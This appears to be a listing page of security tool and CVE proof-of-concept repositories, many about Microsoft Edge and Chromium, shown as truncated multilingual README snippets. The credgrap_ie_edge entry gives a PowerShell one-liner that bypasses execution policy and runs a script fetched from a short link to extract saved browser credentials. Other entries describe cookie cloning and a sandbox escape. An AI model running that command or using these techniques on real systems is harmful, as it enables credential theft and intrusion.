profilehound

/ \ / / / / / / / / / // / / / // / / / // / / / / / / / / / / / // / / / / / / // / // / / / / // / // // // ///// ///,// //,/ ProfileHound ProfileHound는 권한 상승 후post-escalation 도구로, 머신에서 도메인 사용자 프로필을 찾아 레드팀 목표를 달성하는 데 도움을 줍니다. BloodHound OpenGraph 형식을 사용하여 HasUserProfile이라는 새 엣지를 구축하며, 이...

reproxy

Reproxy는 다양한 제공자docker, static, file, consul catalog를 지원하는 간단한 엣지 HTTPs 서버/리버스 프록시입니다. 하나 이상의 제공자가 요청된 서버, 요청 URL, 대상 URL 및 상태 확인 URL에 대한 정보를 제공합니다. 단일 바이너리 또는 도커 컨테이너로 배포됩니다. Let's Encrypt를 이용한 자동 SSL 종료 사용자 제공 SSL 인증서 지원 간단하지만 유연한 프록시 규칙 정적, 명령줄 프록시 규칙 제공자 동적, 파일 기반 프록시 규칙 제공자 자동 검색을 지원하는 Docke...

reproxy

Reproxy is a simple edge HTTPs server / reverse proxy supporting various providers docker, static, file, consul catalog. One or more providers supply information about the requested server, requested URL, destination URL, and health check URL. It is distributed as a single binary or as a docker...

oneiromancer

oneiromancer "ソフトウェア開発における欠陥の大部分は、プログラマーが自分のコードが実行され得るすべての状態を完全に理解していないことに起因する。" -- John Carmack "Can it run Doom?" -- https://canitrundoom.org/ Oneiromancer は、Hex-Rays の擬似コード向けにファインチューニングされたローカル実行の LLM...

Chrome-and-Edge-Version-Dumper

Chrome-and-Edge-Version-Dumper Chrome 및 Edge의 버전을 텍스트 파일로 덤프하여 CVE-2022-1096으로 인해 업데이트가 필요한지 확인하는 Powershell 스크립트입니다. 사용하기 전에 경로를 편집하고 출력 파일이 저장될 폴더를 만들어야 합니다...

CVE-2019-1253

CVE-2019-1253 MSRCに送信した元のPoC。 この問題は2019年9月のPatch Tuesdayの定例アップデートで修正されました。 CVE-2019-1253 - Windowsの特権昇格の脆弱性として割り当てられました。 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 2つのPoCがあります。最初にMSRCに送信したものは"AppxExploitEdge"ディレクトリにあります。...

edge

Cloud edge - 클라우드용 Whois IP를 조회하여 클라우드 제공업체 및 제공업체가 게시한 JSON, CSV 또는 텍스트 데이터 기반의 기타 세부 정보를 찾습니다 Cloud edge는 클라우드 서비스 제공업체에 초점을 맞춘 정찰 도구입니다. 클라우드 귀속 및 포렌식, 침투 테스트, 버그 바운티, 레드 팀 운영 또는 클라우드 제공업체의 일반적인 R&D에 사용할 수 있습니다. Edge는 클라우드 서비스 제공업체CSP가 게시한 IP 주소 범위AWS, Azure, GCP, Cloudflare, Digital Ocean 파일을...

draytek-arsenal

Draytek Arsenal: Draytekエッジデバイスのための可観測性および堅牢化ツールキット。 高度な攻撃者は、ますますエッジデバイスを標的にするようになっています。しかし、これらのデバイスはファームウェアとして知られるクローズドソースのソフトウェアによって制御されており、多くの場合、独自の形式で配布されています。これは、ファームウェアの抽出方法を理解してセキュリティを評価する必要がある防御者や研究者にとって、さらなる困難となっています。...

PHP-Fuzzer

PHP 퍼저 이 라이브러리는 PHP용 퍼저를 구현하며, 라이브러리특히 파싱 라이브러리에 '무작위' 입력을 제공하여 버그를 찾는 데 사용할 수 있습니다. 엣지 커버리지 계측의 피드백을 사용하여 새로운 코드 경로가 방문되도록 '무작위' 입력의 선택을 안내합니다. 설치 Phar 권장 : 이 라이브러리의 phar 패키지를 릴리스 페이지에서 다운로드할 수 있습니다. phar를 사용하는 것이 권장되는 이유는 PHP-Parser를 사용하는 라이브러리와의 의존성 충돌을 피할 수 있기 때문입니다. Composer : composer globa...

CVE-2022-0337-PoC-Google-Chrome-Microsoft-Edge-Opera

🤝 지원을 보여주세요 - 콘텐츠가 마음에 들면 ⭐️를 눌러주세요 | 트위터에 공유 | 팔로우하기 CVE-2022-0337 Google Chrome, Microsoft Edge 및 Opera에서 시스템 환경 변수 유출 📝 설명 이 취약점을 성공적으로 악용하면 시스템 환경 변수에 저장된 사용자의 비밀 정보가 유출될 수 있습니다. Chromium 92 버전에서 발견된 보안 버그는 97 버전에서 패치되었습니다. Chromium 엔진을 기반으로 하는 여러 웹 브라우저예: Google Chrome, Microsoft Edge, Opera,...

CVE-2025-47181

CVE-2025-47181 개념: Microsoft Edge 링크 추적 권한 상승 프로젝트 개요 이 저장소는 CVE-2025-47181 개념을 제시합니다. 이는 CVE-2025-47181 의 메커니즘과 영향을 설명하기 위해 설계된 Python 프로그램입니다. 이 취약점은 Microsoft EdgeChromium 기반의 권한 상승 취약점 으로, "파일 액세스 전 부적절한 링크 확인'링크 추적'"CWE-59으로 분류됩니다. 이 취약점으로 인해 인증된 로컬 공격자가 시스템에서 권한을 상승시킬 수 있습니다. 이 프로그램은...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 Microsoft Edge Chromium-based 정보 노출 취약점 이는 Microsoft Edge Chromium 기반의 취약점입니다. 공격자는 사용자가 자신도 모르게 민감한 정보를 노출하도록 속일 수 있습니다. PoC: PoC CVE-2024-30056 body font-family: Arial, sans-serif; margin: 20px; h1 color: 333; pre background-color: f5f5f5;...

exploit_mitigations

Exploitation Mitigations The goal is to list exploitation mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability is easily exploitable or not depending on exploitation mitigations in place. An example is the...

CVE-Tracker

CVE-Tracker 이 자동화된 스크립트의 도움으로 새로 발표된 CVE를 절대 놓치지 않게 됩니다. 이 PowerShell 스크립트가 하는 일은 시스템 시작 시 Microsoft Edge를 실행하고, 2개의 URL로 이동한 다음, 브라우저를 전체 화면 모드로 전환하는 것입니다. 윤리적 해커로서 최근에 발표된 CVE를 추적하는 것은 인터넷 상의 새로운 위협이나 취약점을 완전히 인지하기 위해 필수적입니다. 사실 이것은 일상적인 작업입니다. 그렇다면 브라우저를 열고 새 CVE를 확인하기 위해 소스로 이동하는 전체 절차를 자동화해 ...

credgrap_ie_edge

credgrapieedge 내용: Internet Explorer 및 Edge에서 저장된 자격 증명 추출 저자: Florian Hansemann | @HanseSecure | https://hansesecure.de 날짜: 04/2018 사용법 powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" 권장사항 PowerShell 해결 방법...

chlonium

Chlonium Chlonium is an application designed for cloning Chromium Cookies. From Chromium 80 and upwards, cookies are encrypted using AES-256 GCM, with a state key which is stored in the Local State file. This state key is encrypted using DPAPI. This is a change from older versions, which used DPA...

MacHound

MacHound란? MacHound는 Bloodhound 감사 도구의 확장으로, MacOS 호스트에서 Active Directory 관계를 수집하고 주입하는 기능을 제공합니다. MacHound는 Mac 시스템에 로그인한 사용자와 관리 그룹 구성원에 대한 정보를 수집하여 Bloodhound 데이터베이스에 주입합니다. HasSession 및 AdminTo 에지 외에도 MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 에지를 추가합니다: CanSSH - 호스트에 SSH 접속이 허용된 엔터티 CanVNC - 호스트에...

CVE-2024-21388

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 우리는 테러 단체 하마스에 의해 인질로 잡힌 모든 시민의 안전한 귀환을 요구합니다. 모든 인질이 석방되어 안전하게 집으로 돌아올 때까지 우리는 쉬지 않을 것입니다. 여러분도 그들을 집으로 데려오는 데 도움을 줄 수 있습니다.https://stories.bringthemhomenow.net/ Microsoft Edge 취약점 익스플로잇 CVE-2024-21388 이 Python 스크립트는 Microsoft Edge의 취약점CVE-2024-21388을 악용하여, 비공개...

TriBell_Edge_SandBox_Escape

TriBellEdgeSandBoxEscape Tribell Edge Sandbox Escape - Edge의 레거시 취약점 BadgeUpdateManager / TileFlyoutUpdateManager / ToastNotificationManager를 활용하여 경계 간 XmlDocument 공유를 악용하고 Edge의 LPAC 샌드박스를 탈출하는 PoC CVE-2019-0555 PoC는 JITJust-In-Time 컴파일 프로세스 내에서 notepad.exe의 실행을 트리거합니다. 테스트 환경 Windows 10 Version...